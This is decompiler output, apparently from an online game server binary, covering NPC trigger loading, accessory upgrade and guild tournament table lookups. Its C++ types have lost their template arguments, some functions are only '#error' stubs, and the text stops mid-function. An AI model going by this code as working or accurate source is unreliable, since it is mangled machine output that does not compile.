-------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::insert(...) { std::pair > > *v3; // ebp@1 std::_Tree >,std::less,std::allocator > > > *v4; // edi@1 std::_Tree >,std::less,std::allocator > > > v5; // esi@1 std::_Tree >,std::less,std::allocator > > > v6; // eax@1 bool v7; // cl@1 const unsigned __int16 v8; // dx@2 std::_Tree >,std::less,std::allocator > > > v9; // edx@7 std::_Tree >,std::less,std::allocator > > > v10; // edx@9 std::pair >,std::less,std::allocator >,std::less,std::allocator > > > v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = *((_DWORD *)this + 1); v6 = *(_DWORD *)(v5 + 4); v7 = 1; _Addleft = 1; if ( !*(_BYTE *)(v6 + 33) ) { v8 = _Val->first; do { v5 = v6; v7 = v8 < *(_WORD *)(v6 + 12); _Addleft = v8 < *(_WORD *)(v6 + 12); if ( v8 >= *(_WORD *)(v6 + 12) ) v6 = *(_DWORD *)(v6 + 8); else v6 = *(_DWORD *)v6; } while ( !*(_BYTE *)(v6 + 33) ); } v9 = v5; _Val = (std::pair > > *)v5; if ( v7 ) { if ( v5 == **((_DWORD **)v4 + 1) ) { v10 = *std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( v4, (std::_Tree >,std::less,std::allocator > > > *)&_Val, 1, (std::_Tree_nod >,std::less,std::allocator > *)v5, v3); v11 = result; result->second = 1; result->first = v10; return v11; } std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Dec((std::_Tree >,std::less,std::allocator > > > *)&_Val); v9 = (std::_Tree >,std::less,std::allocator > > >)_Val; } if ( *(_WORD *)(v9 + 12) >= v3->first ) { v11 = result; result->second = 0; result->first = v9; } else { v12 = *std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( v4, (std::_Tree >,std::less,std::allocator > > > *)&_Val, _Addleft, (std::_Tree_nod >,std::less,std::allocator > *)v5, v3); v11 = result; result->first = v12; result->second = 1; } return v11; } //----- (0058D540) -------------------------------------------------------- bool __cdecl NPCAction::Util::loadTriggers() { char *v0; // eax@5 char v1; // cl@6 unsigned int v2; // eax@7 const char *v3; // eax@7 unsigned __int16 v4; // ax@9 unsigned __int16 v5; // si@9 std::pair > > *v6; // eax@9 void *v7; // edi@9 NPCAction::Trigger *v8; // ebp@10 NPCAction::Trigger *i; // esi@10 IObserverVtbl *v10; // edx@11 NPCAction::Trigger *v11; // esi@13 NPCAction::Trigger *v12; // edi@14 IObserverVtbl *v13; // eax@15 void *v14; // ebp@21 int v15; // edi@22 void *j; // esi@22 int v17; // edx@23 __int32 v18; // esi@25 bool v19; // al@26 std::vector > v20; // [sp-10h] [bp-230h]@9 unsigned int v21; // [sp-4h] [bp-224h]@4 int v22; // [sp+10h] [bp-210h]@1 char collection; // [sp+14h] [bp-20Ch]@4 void *p; // [sp+18h] [bp-208h]@4 int v25; // [sp+1Ch] [bp-204h]@4 int v26; // [sp+20h] [bp-200h]@4 __int32 handle; // [sp+24h] [bp-1FCh]@1 std::pair > > _Val; // [sp+28h] [bp-1F8h]@9 std::pair > > result; // [sp+3Ch] [bp-1E4h]@9 std::vector > *v30; // [sp+50h] [bp-1D0h]@9 char v31; // [sp+54h] [bp-1CCh]@9 char mobInx; // [sp+5Ch] [bp-1C4h]@7 void *mobindex; // [sp+60h] [bp-1C0h]@5 int v34; // [sp+70h] [bp-1B0h]@5 unsigned int v35; // [sp+74h] [bp-1ACh]@5 int buffer; // [sp+78h] [bp-1A8h]@1 char _Ptr; // [sp+8Ch] [bp-194h]@4 _BYTE v38[3]; // [sp+8Dh] [bp-193h]@7 char path_buffer[128]; // [sp+190h] [bp-90h]@4 unsigned int v40; // [sp+210h] [bp-10h]@1 int v41; // [sp+21Ch] [bp-4h]@4 v40 = (unsigned int)&v22 ^ __security_cookie; handle = _findfirst("../9Data/Hero/MobSetting/Action/*.txt", (_finddata_t *)&buffer); if ( handle == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start_old : Invalid file path", 0); ShineExit("NPCAction::Util::loadTriggers"); } do { p = 0; v25 = 0; v26 = 0; v21 = (unsigned int)&_Ptr; v41 = 0; sprintf(path_buffer, "../9Data/Hero/MobSetting/Action/%s"); if ( NPCAction::Util::loadFromOptionReader( (std::vector > *)&collection, path_buffer) ) { v0 = &_Ptr; v35 = 15; v34 = 0; LOBYTE(mobindex) = 0; do v1 = *v0++; while ( v1 ); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&mobInx, &_Ptr, v0 - v38); v21 = -1; LOBYTE(v41) = 1; LOBYTE(v22) = 46; v2 = std::basic_string_std::allocator>::rfind( (std::basic_string,std::allocator > *)&mobInx, (const char *)&v22, 0xFFFFFFFFu, 1u); std::basic_string_std::allocator>::erase( (std::basic_string,std::allocator > *)&mobInx, v2, v21); v3 = (const char *)mobindex; if ( v35 < 0x10 ) v3 = (const char *)&mobindex; v4 = MobDataBox::mdb_2MobID(&mobdatabox, v3); v30 = &v20; v5 = v4; std::vector>::vector>( &v20, (std::vector > *)&collection); v6 = std::make_pair>>( &result, v5, v20); _Val.first = v6->first; LOBYTE(v41) = 2; std::vector>::vector>( &_Val.second, &v6->second); LOBYTE(v41) = 3; std::_Tree>_std::less_std::allocator>>>_0>>::insert( &triggerDic, (std::pair >,std::less,std::allocatorbaseclass_0.vfptr; v21 = 0; v10->__vecDelDtor(i, 0); } operator delete(v7); } v11 = result.second._Myfirst; _Val.second._Myfirst = 0; _Val.second._Mylast = 0; _Val.second._Myend = 0; LOBYTE(v41) = 1; if ( result.second._Myfirst ) { v12 = result.second._Mylast; if ( result.second._Myfirst != result.second._Mylast ) { do { v13 = v11->baseclass_0.vfptr; v21 = 0; v13->__vecDelDtor(v11, 0); ++v11; } while ( v11 != v12 ); v11 = result.second._Myfirst; } operator delete(v11); } result.second._Myfirst = 0; result.second._Mylast = 0; result.second._Myend = 0; if ( v35 >= 0x10 ) operator delete(mobindex); v35 = 15; v34 = 0; LOBYTE(mobindex) = 0; } v14 = p; v41 = -1; if ( p ) { v15 = v25; for ( j = p; j != (void *)v15; j = (char *)j + 24 ) { v17 = *(_DWORD *)j; v21 = 0; (*(void (__thiscall **)(void *, _DWORD))v17)(j, 0); } operator delete(v14); } v18 = handle; p = 0; v25 = 0; v26 = 0; } while ( !_findnext(handle, (_finddata_t *)&buffer) ); _findclose(v18); __security_check_cookie((unsigned int)&v22 ^ v40); return v19; } //----- (0058D810) -------------------------------------------------------- void __thiscall NPCAction::doTriggers_::doTriggers_(ShineRTTI *this, const char *pcName, ShineRTTI *pkBaseRTTI) { this->m_pcName = pcName; this->m_pkBaseRTTI = pkBaseRTTI; } //----- (0058D830) -------------------------------------------------------- unsigned int __thiscall NPCAction::TriggerGen_OptionReader::size(NPCAction::TriggerGen_OptionReader *this) { unsigned int result; // eax@1 result = (unsigned int)this->triggers_._Myfirst; if ( result ) result = (signed int)((char *)this->triggers_._Mylast - result) / 24; return result; } //----- (0058D850) -------------------------------------------------------- #error "58D850: undefined or illegal type '#593' (funcsize=26)" //----- (0058D890) -------------------------------------------------------- unsigned __int16 __thiscall NPCAction::Trigger::notify(NPCAction::Trigger *this, #593 *_Func, #593 *a3, IObserver::Event happen, const unsigned int DwParam, const int SDwParam, unsigned int birth, Metronome *Tick) { NPCAction::Trigger *v8; // esi@1 unsigned __int16 v9; // ax@2 unsigned __int16 v10; // bx@3 NPCAction::Trigger::doAction_ result; // [sp+1Ch] [bp-8h]@4 v8 = this; if ( this->condition_ ) { v10 = ((int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))this->condition_->baseclass_0.vfptr->notify)( _Func, a3, happen, DwParam, SDwParam, birth, Tick); if ( v10 & 1 ) std::for_each>::iterator_NPCAction::Trigger::doAction_>( &result, (std::vector >::iterator)v8->actions_._Myfirst, (std::vector >::iterator)v8->actions_._Mylast, (NPCAction::Trigger::doAction_)__PAIR__((unsigned int)a3, (unsigned int)_Func)); v9 = v10; } else { AssertClass::ac_AssertFail(&shineassert, "NPCAction::Trigger::notify : null condition_", 0); v9 = IObserver::notify(&v8->baseclass_0, _Func, a3, happen, DwParam, SDwParam, birth, Tick); } return v9; } //----- (0058D940) -------------------------------------------------------- #error "58D940: undefined or illegal type '#593' (funcsize=75)" //----- (0058DA40) -------------------------------------------------------- void __thiscall std::vector>::_Xran(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid vector subscript", 0x1Bu); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (0058DAB0) -------------------------------------------------------- void __thiscall NPCAction::Trigger::Trigger(NPCAction::Trigger *this) { this->condition_ = 0; this->baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::Trigger::_vftable_; this->actions_._Myfirst = 0; this->actions_._Mylast = 0; this->actions_._Myend = 0; } // 67DA6C: using guessed type int (__thiscall *NPCAction__Trigger___vftable_)(void *p, char); //----- (0058DAF0) -------------------------------------------------------- bool __thiscall NPCAction::Trigger::needToAttach(NPCAction::Trigger *this) { NPCAction::ICondition *v1; // eax@1 bool result; // al@2 v1 = this->condition_; if ( v1 ) result = ((int (*)(void))v1->baseclass_0.vfptr->needToAttach)(); else result = 0; return result; } //----- (0058DB10) -------------------------------------------------------- unsigned int __thiscall NPCAction::Trigger::GetConditionTick(NPCAction::Trigger *this) { JUMPOUT(this->condition_, 0, Concurrency::details::EventWaitNode::Sweep); return 0; } // 58DB1A: using guessed type int Concurrency__details__EventWaitNode__Sweep(); //----- (0058DB30) -------------------------------------------------------- NPCAction::Trigger *__thiscall NPCAction::TriggerGen_OptionReader::operator__(NPCAction::TriggerGen_OptionReader *this, NPCAction::Trigger *result) { int v2; // esi@1 char *v3; // ecx@1 int v4; // edi@1 v2 = this->currentRow_; this->currentRow_ = v2 + 1; v3 = (char *)&this->triggers_; v4 = *((_DWORD *)v3 + 1); if ( !v4 || (*((_DWORD *)v3 + 2) - v4) / 24 <= (unsigned int)v2 ) std::vector>::_Xran((std::vector > *)v3); NPCAction::Trigger::Trigger(result, (NPCAction::Trigger *)(v4 + 24 * v2)); return result; } //----- (0058DB90) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, NPCAction::Trigger *_Val) { std::vector > *v4; // edi@1 NPCAction::Trigger *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 2; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (0058DC00) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, NPCAction::Trigger *_Val) { std::vector > *v2; // esi@1 NPCAction::Trigger *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 NPCAction::Trigger *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 2; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (0058DC90) -------------------------------------------------------- void __thiscall NPCAction::TriggerGen_OptionReader::TriggerGen_OptionReader(NPCAction::TriggerGen_OptionReader *this, OptionReader *optionReader) { NPCAction::TriggerGen_OptionReader *v2; // ebp@1 const char *v3; // ecx@1 void *v4; // esi@3 const char *v5; // ecx@3 const char *v6; // edi@3 int v7; // ecx@8 unsigned int v8; // eax@10 NPCAction::ICondition *v9; // edi@13 int v10; // esi@20 unsigned int v11; // eax@22 int v12; // edi@25 NPCAction::ICondition **v13; // esi@30 const char *v14; // ecx@34 std::vector >::iterator v15; // edx@41 NPCAction::ICondition **v16; // ebp@41 unsigned int v17; // eax@41 unsigned int v18; // ecx@43 NPCAction::ICondition *v19; // edi@46 int v20; // esi@53 unsigned int v21; // eax@55 int v22; // edi@58 const char *v23; // ecx@67 void *v24; // eax@69 ORToken v25; // [sp-18h] [bp-58h]@3 int v26; // [sp-14h] [bp-54h]@3 int v27; // [sp-10h] [bp-50h]@3 int v28; // [sp-Ch] [bp-4Ch]@3 int v29; // [sp-8h] [bp-48h]@3 int v30; // [sp-4h] [bp-44h]@1 int lastConditionID; // [sp+10h] [bp-30h]@18 OptionReader **v32; // [sp+14h] [bp-2Ch]@1 int _Val; // [sp+18h] [bp-28h]@3 int (__thiscall **trigger)(void *, char); // [sp+1Ch] [bp-24h]@3 NPCAction::ICondition *v35; // [sp+20h] [bp-20h]@3 std::vector > thisa; // [sp+24h] [bp-1Ch]@3 int v37; // [sp+3Ch] [bp-4h]@1 int optionReadera; // [sp+44h] [bp+4h]@1 v2 = this; this->optionReader_ = optionReader; this->currentRow_ = 0; v32 = (OptionReader **)this; this->triggers_._Myfirst = 0; this->triggers_._Mylast = 0; this->triggers_._Myend = 0; v3 = *(const char **)&NPCAction::TriggerGen_OptionReader::tableName_._Bx._Buf[0]; v37 = 0; optionReadera = 0; v30 = 0; if ( NPCAction::TriggerGen_OptionReader::tableName_._Myres < 0x10 ) v3 = (const char *)&NPCAction::TriggerGen_OptionReader::tableName_._Bx; _Val = (int)&v25; v29 = 0; v28 = 0; v27 = 0; v26 = 0; *(_DWORD *)&v25.ort_Name[0] = 0; strncpy(v25.ort_Name, v3, 0x14u); v4 = OptionReader::or_SelectFromOrder(v2->optionReader_, v25, v30); trigger = &NPCAction::Trigger::_vftable_; v35 = 0; thisa._Myfirst = 0; thisa._Mylast = 0; thisa._Myend = 0; v5 = *(const char **)&NPCAction::TriggerGen_OptionReader::tableName_._Bx._Buf[0]; LOBYTE(v37) = 2; v6 = *(const char **)&NPCAction::TriggerGen_OptionReader::tableName_._Bx._Buf[0]; if ( NPCAction::TriggerGen_OptionReader::tableName_._Myres < 0x10 ) { v6 = (const char *)&NPCAction::TriggerGen_OptionReader::tableName_._Bx; v5 = (const char *)&NPCAction::TriggerGen_OptionReader::tableName_._Bx; } _Val = (int)&v26; v30 = 0; v29 = 0; v28 = 0; v27 = 0; v26 = 0; strncpy((char *)&v26, v5, 0x14u); if ( OptionReader::or_SelectCountFrom(v2->optionReader_, *(ORToken *)&v26) <= 0 ) { AssertClass::ac_AssertFail(&shineassert, "TriggerGen_OptionReader : Invalid Table", v6); ShineExit("TriggerGen_OptionReader"); } v7 = *(_DWORD *)v4; if ( *(_DWORD *)v4 <= 0u || (conditionManager.container_._Myfirst ? (v8 = conditionManager.container_._Mylast - conditionManager.container_._Myfirst) : (v8 = 0), v7 > v8) ) v9 = 0; else v9 = conditionManager.container_._Myfirst[v7 - 1]; if ( v9 == 0 ) { v30 = *(_DWORD *)v4; AssertClass::ac_AssertFail(&shineassert, "TriggerGen_OptionReader : Invalid condition(0). ConditionID", v30); ShineExit("TriggerGen_OptionReader"); } v35 = v9; lastConditionID = *(_DWORD *)v4; while ( *(_DWORD *)v4 == lastConditionID ) { v10 = *((_DWORD *)v4 + 1); if ( (unsigned int)v10 <= 0 || (actionManager.container_._Myfirst ? (v11 = actionManager.container_._Mylast - actionManager.container_._Myfirst) : (v11 = 0), v10 > v11) ) v12 = 0; else v12 = (int)actionManager.container_._Myfirst[v10 - 1]; if ( v12 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "TriggerGen_OptionReader : Invalid action(0). ActionID", v10); ShineExit("TriggerGen_OptionReader"); } v13 = thisa._Mylast; _Val = v12; if ( thisa._Myfirst && thisa._Mylast - thisa._Myfirst < thisa._Myend - thisa._Myfirst ) { *thisa._Mylast = (NPCAction::ICondition *)v12; thisa._Mylast = v13 + 1; } else { std::vector>::_Insert_n( &thisa, (std::vector >::iterator)thisa._Mylast, 1u, (NPCAction::ICondition *const *)&_Val); } v14 = *(const char **)&NPCAction::TriggerGen_OptionReader::tableName_._Bx._Buf[0]; ++optionReadera; v30 = optionReadera; if ( NPCAction::TriggerGen_OptionReader::tableName_._Myres < 0x10 ) v14 = (const char *)&NPCAction::TriggerGen_OptionReader::tableName_._Bx; _Val = (int)&v25; v29 = 0; v28 = 0; v27 = 0; v26 = 0; *(_DWORD *)&v25.ort_Name[0] = 0; strncpy(v25.ort_Name, v14, 0x14u); v4 = OptionReader::or_SelectFromOrder(v2->optionReader_, v25, v30); if ( !v4 ) goto LABEL_70; } do { if ( *(_DWORD *)v4 == lastConditionID ) { v16 = thisa._Myend; v15 = (std::vector >::iterator)thisa._Mylast; } else { std::vector>::push_back( &v2->triggers_, (NPCAction::Trigger *)&trigger); lastConditionID = *(_DWORD *)v4; if ( thisa._Myfirst ) operator delete(thisa._Myfirst); v15 = 0; v16 = 0; thisa._Myfirst = 0; thisa._Mylast = 0; thisa._Myend = 0; v17 = *(_DWORD *)v4; if ( *(_DWORD *)v4 <= 0u || (conditionManager.container_._Myfirst ? (v18 = conditionManager.container_._Mylast - conditionManager.container_._Myfirst) : (v18 = 0), v17 > v18) ) v19 = 0; else v19 = conditionManager.container_._Myfirst[v17 - 1]; if ( v19 == 0 ) { v30 = *(_DWORD *)v4; AssertClass::ac_AssertFail(&shineassert, "TriggerGen_OptionReader : Invalid condition(1). ConditionID", v30); ShineExit("TriggerGen_OptionReader"); } v35 = v19; } v20 = *((_DWORD *)v4 + 1); if ( (unsigned int)v20 <= 0 || (actionManager.container_._Myfirst ? (v21 = actionManager.container_._Mylast - actionManager.container_._Myfirst) : (v21 = 0), v20 > v21) ) v22 = 0; else v22 = (int)actionManager.container_._Myfirst[v20 - 1]; if ( v22 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "TriggerGen_OptionReader : Invalid action(1). ActionID", v20); ShineExit("TriggerGen_OptionReader"); } _Val = v22; if ( thisa._Myfirst && (signed int)(*(_DWORD *)&v15 - (unsigned int)thisa._Myfirst) >> 2 < v16 - thisa._Myfirst ) { **(_DWORD **)&v15 = v22; thisa._Mylast = (NPCAction::ICondition **)(*(_DWORD *)&v15 + 4); } else { std::vector>::_Insert_n( &thisa, v15, 1u, (NPCAction::ICondition *const *)&_Val); } v23 = *(const char **)&NPCAction::TriggerGen_OptionReader::tableName_._Bx._Buf[0]; ++optionReadera; v30 = optionReadera; if ( NPCAction::TriggerGen_OptionReader::tableName_._Myres < 0x10 ) v23 = (const char *)&NPCAction::TriggerGen_OptionReader::tableName_._Bx; _Val = (int)&v25; v29 = 0; v28 = 0; v27 = 0; v26 = 0; *(_DWORD *)&v25.ort_Name[0] = 0; strncpy(v25.ort_Name, v23, 0x14u); v24 = OptionReader::or_SelectFromOrder(*v32, v25, v30); v2 = (NPCAction::TriggerGen_OptionReader *)v32; v4 = v24; } while ( v24 ); LABEL_70: std::vector>::push_back( &v2->triggers_, (NPCAction::Trigger *)&trigger); LOBYTE(v37) = 0; if ( thisa._Myfirst ) operator delete(thisa._Myfirst); thisa._Myfirst = 0; thisa._Mylast = 0; thisa._Myend = 0; IObserver::_IObserver((IObserver *)&trigger); } // 67DA6C: using guessed type int (__thiscall *NPCAction__Trigger___vftable_)(void *p, char); //----- (0058E0F0) -------------------------------------------------------- int __cdecl AccUpGradeInfoTable::GetRandomUpgradeValue(unsigned __int16 id, unsigned __int16 isPlus, int UpNumber) { int result; // eax@2 signed int v4; // eax@3 int v5; // esi@5 int v6; // edi@5 int v7; // esi@7 int v8; // eax@8 if ( UpNumber <= 12 ) { v4 = isPlus; if ( isPlus >= 1u ) v4 = 1; v5 = ITableBase::ms_pkTable; v6 = v4 + 2 * id; if ( (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 16))( ITableBase::ms_pkTable, v4 + 2 * id) && v6 <= *(_DWORD *)(v5 + 196) && (v7 = *(_DWORD *)(*(_DWORD *)(v5 + 192) + 4 * v6)) != 0 ) { v8 = *(_WORD *)(AccUpGradeInfoTable::Max_Variables[UpNumber] + v7) - *(_WORD *)(AccUpGradeInfoTable::Min_Variables[UpNumber] + v7); if ( v8 <= 1 ) v8 = 1; result = *(_WORD *)(AccUpGradeInfoTable::Min_Variables[UpNumber] + v7) + RandomBox::operator__(&rndbox, v8 + 1); } else { result = 0; } } else { result = 0; } return result; } // 131DB4A0: using guessed type int ITableBase_AccUpGradeInfo_AccUpGradeInfoTable___ms_pkTable; //----- (0058E190) -------------------------------------------------------- int __cdecl AccUpGradeInfoTable::GetLimit(unsigned __int16 id, unsigned __int16 isPlus, int UpNumber) { int result; // eax@2 signed int v4; // eax@3 int v5; // esi@5 int v6; // edi@5 int v7; // edi@7 if ( UpNumber <= 12 ) { v4 = isPlus; if ( isPlus >= 1u ) v4 = 1; v5 = ITableBase::ms_pkTable; v6 = v4 + 2 * id; if ( (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 16))( ITableBase::ms_pkTable, v4 + 2 * id) && v6 <= *(_DWORD *)(v5 + 196) && (v7 = *(_DWORD *)(*(_DWORD *)(v5 + 192) + 4 * v6)) != 0 ) result = *(_WORD *)(AccUpGradeInfoTable::Limit_Variables[UpNumber] + v7); else result = 0; } else { result = 0; } return result; } // 131DB4A0: using guessed type int ITableBase_AccUpGradeInfo_AccUpGradeInfoTable___ms_pkTable; //----- (0058E200) -------------------------------------------------------- int __thiscall AccUpGradeInfoTable::GetID(AccUpGradeInfoTable *this, AccUpGradeInfo *pkRecord) { unsigned __int16 v2; // ax@1 signed int v3; // eax@4 v2 = pkRecord->Success; if ( v2 >= 2u ) { AssertClass::ac_AssertFail(&shineassert, "AccUpGradeInfo::Success less 2 value:", v2); ShineExit("DWORD AccUpGradeInfoTable::GetID( AccUpGradeInfo* pkRecord )"); } v3 = pkRecord->Success; if ( (unsigned __int16)v3 >= 1u ) v3 = 1; return v3 + 2 * pkRecord->ID; } //----- (0058E260) -------------------------------------------------------- std::basic_string,std::allocator > *__cdecl Table::GetTableDir() { return &strDirPath; } //----- (0058E270) -------------------------------------------------------- std::_Tree_nod >,std::less,std::allocator > *__cdecl std::_Tree>_std::less_std::allocator>>>_0>>::_Max(std::_Tree_nod >,std::less,std::allocator > *_Pnode) { std::_Tree_nod >,std::less,std::allocator > *result; // eax@1 int i; // ecx@1 result = _Pnode; for ( i = *(_DWORD *)&_Pnode[4].baseclass_0.comp.baseclass_0.dummy[0]; !*(_BYTE *)(i + 33); i = *(_DWORD *)(i + 8) ) result = (std::_Tree_nod >,std::less,std::allocator > *)i; return result; } //----- (0058E290) -------------------------------------------------------- std::_Tree_nod >,std::less,std::allocator > *__cdecl std::_Tree>_std::less_std::allocator>>>_0>>::_Min(std::_Tree_nod >,std::less,std::allocator > *_Pnode) { std::_Tree_nod >,std::less,std::allocator > *result; // eax@1 int i; // ecx@1 result = _Pnode; for ( i = *(_DWORD *)&_Pnode->baseclass_0.comp.baseclass_0.dummy[0]; !*(_BYTE *)(i + 33); i = *(_DWORD *)i ) result = (std::_Tree_nod >,std::less,std::allocator > *)i; return result; } //----- (0058E2B0) -------------------------------------------------------- void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Inc(std::_Tree >,std::less,std::allocator > > > *this) { std::_Tree >,std::less,std::allocator > > > v1; // eax@1 std::_Tree >,std::less,std::allocator > > > v2; // edx@2 std::_Tree >,std::less,std::allocator > > > j; // eax@3 std::_Tree >,std::less,std::allocator > > > i; // eax@6 v1 = *this; if ( !*(_BYTE *)(*this + 33) ) { v2 = *(_DWORD *)(v1 + 8); if ( *(_BYTE *)(v2 + 33) ) { for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 33); i = *(_DWORD *)(i + 4) ) { if ( *this != *(_DWORD *)(i + 8) ) break; *this = i; } *this = i; } else { for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 33); j = *(_DWORD *)j ) v2 = j; *this = v2; } } } //----- (0058E310) -------------------------------------------------------- unsigned __int16 __cdecl GuildTournamentScoreTable::GetScore(int nType, int nMurder, int nVictim) { int v3; // ebx@3 unsigned int i; // esi@3 int v5; // eax@4 void *v6; // eax@6 if ( nVictim >= 7 ) AssertClass::ac_AssertFail(&shineassert, "GuildTournamentScoreTable::GetScore : No Script", 0); v3 = nMurder; for ( i = 0; ; ++i ) { v5 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v5 ) break; if ( i >= *(_DWORD *)(v5 + 40) ) break; v6 = CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i); if ( *(_WORD *)v6 == nType ) { if ( !v3 ) return *((_WORD *)v6 + nVictim + 1); --v3; } } return 0; } // 131DB454: using guessed type int ITableBase_GUILD_TOURNAMENT_SCORE_GuildTournamentScoreTable___ms_pkTable; //----- (0058E380) -------------------------------------------------------- unsigned int __cdecl GuildTournamentOccupyTable::GetOccupyTime(int nType) { unsigned int i; // esi@1 int v2; // eax@2 void *v3; // eax@4 for ( i = 0; ; ++i ) { v2 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v2 ) break; if ( i >= *(_DWORD *)(v2 + 40) ) break; v3 = CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i); if ( *(_WORD *)v3 == nType ) return *((_WORD *)v3 + 1); } AssertClass::ac_AssertFail(&shineassert, "GuildTournamentOccupyTable::GetOccupyTime : Not Find : %d", nType); return -1; } // 131DB45C: using guessed type int ITableBase_GUILD_TOURNAMENT_OCCUPY_GuildTournamentOccupyTable___ms_pkTable; //----- (0058E3E0) -------------------------------------------------------- unsigned int __cdecl GuildTournamentOccupyTable::GetScore(int nType) { unsigned int i; // esi@1 int v2; // eax@2 void *v3; // eax@4 for ( i = 0; ; ++i ) { v2 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v2 ) break; if ( i >= *(_DWORD *)(v2 + 40) ) break; v3 = CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i); if ( *(_WORD *)v3 == nType ) return *((_WORD *)v3 + 2); } AssertClass::ac_AssertFail(&shineassert, "GuildTournamentOccupyTable::GetScore : Not Find : %d", nType); return 0; } // 131DB45C: using guessed type int ITableBase_GUILD_TOURNAMENT_OCCUPY_GuildTournamentOccupyTable___ms_pkTable; //----- (0058E440) -------------------------------------------------------- GUILD_TOURNAMENT_SKILL *__cdecl GuildTournamentSkillTable::GetStateByIndex(int nType, int nNumber) { unsigned int i; // esi@1 int v3; // eax@2 GUILD_TOURNAMENT_SKILL *result; // eax@4 for ( i = 0; ; ++i ) { v3 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v3 ) break; if ( i >= *(_DWORD *)(v3 + 40) ) break; result = (GUILD_TOURNAMENT_SKILL *)CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i); if ( result->MAP_TYPE == nType && nNumber == result->Index ) return result; } return 0; } // 131DB460: using guessed type int ITableBase_GUILD_TOURNAMENT_SKILL_GuildTournamentSkillTable___ms_pkTable; //----- (0058E490) -------------------------------------------------------- unsigned int __cdecl GuildTournamentSkillTable::GetUseSkillCount(int nType, unsigned int Point) { unsigned int v2; // ebx@1 unsigned int i; // esi@1 int v4; // eax@2 void *v5; // eax@4 v2 = 0; for ( i = 0; ; ++i ) { v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v4 ) break; if ( i >= *(_DWORD *)(v4 + 40) ) break; v5 = CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i); if ( *(_WORD *)v5 == nType ) { if ( *((_WORD *)v5 + 2) <= Point ) ++v2; } } return v2; } // 131DB460: using guessed type int ITableBase_GUILD_TOURNAMENT_SKILL_GuildTournamentSkillTable___ms_pkTable; //----- (0058E4E0) -------------------------------------------------------- char __cdecl GTIGetRateTable::GetItemIDbyProbabilityCalculate(bool IsAdvan, char Level) { char v2; // al@1 signed int v3; // ecx@3 int v4; // ebx@5 unsigned int v5; // ebp@5 int v6; // edi@5 int v7; // eax@6 void *v8; // eax@8 char *v9; // esi@8 v2 = Level; if ( (unsigned __int8)Level > 2u ) { AssertClass::ac_AssertFail( &shineassert, "GTIGetRateTable::GetItemIDbyProbabilityCalculate Level Over Value :", (unsigned __int8)Level); v2 = 0; } v3 = 0; if ( IsAdvan == 1 ) v3 = 3; v4 = (unsigned __int8)v2 + v3; v5 = 0; v6 = rand() % GTIGetRateTable::AllProbability[v4]; while ( 1 ) { v7 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v7 ) break; if ( v5 >= *(_DWORD *)(v7 + 40) ) break; v8 = CDataReader::GetRecord((CDataReader *)(ITableBase::ms_pkTable + 4), v5); v9 = (char *)v8; switch 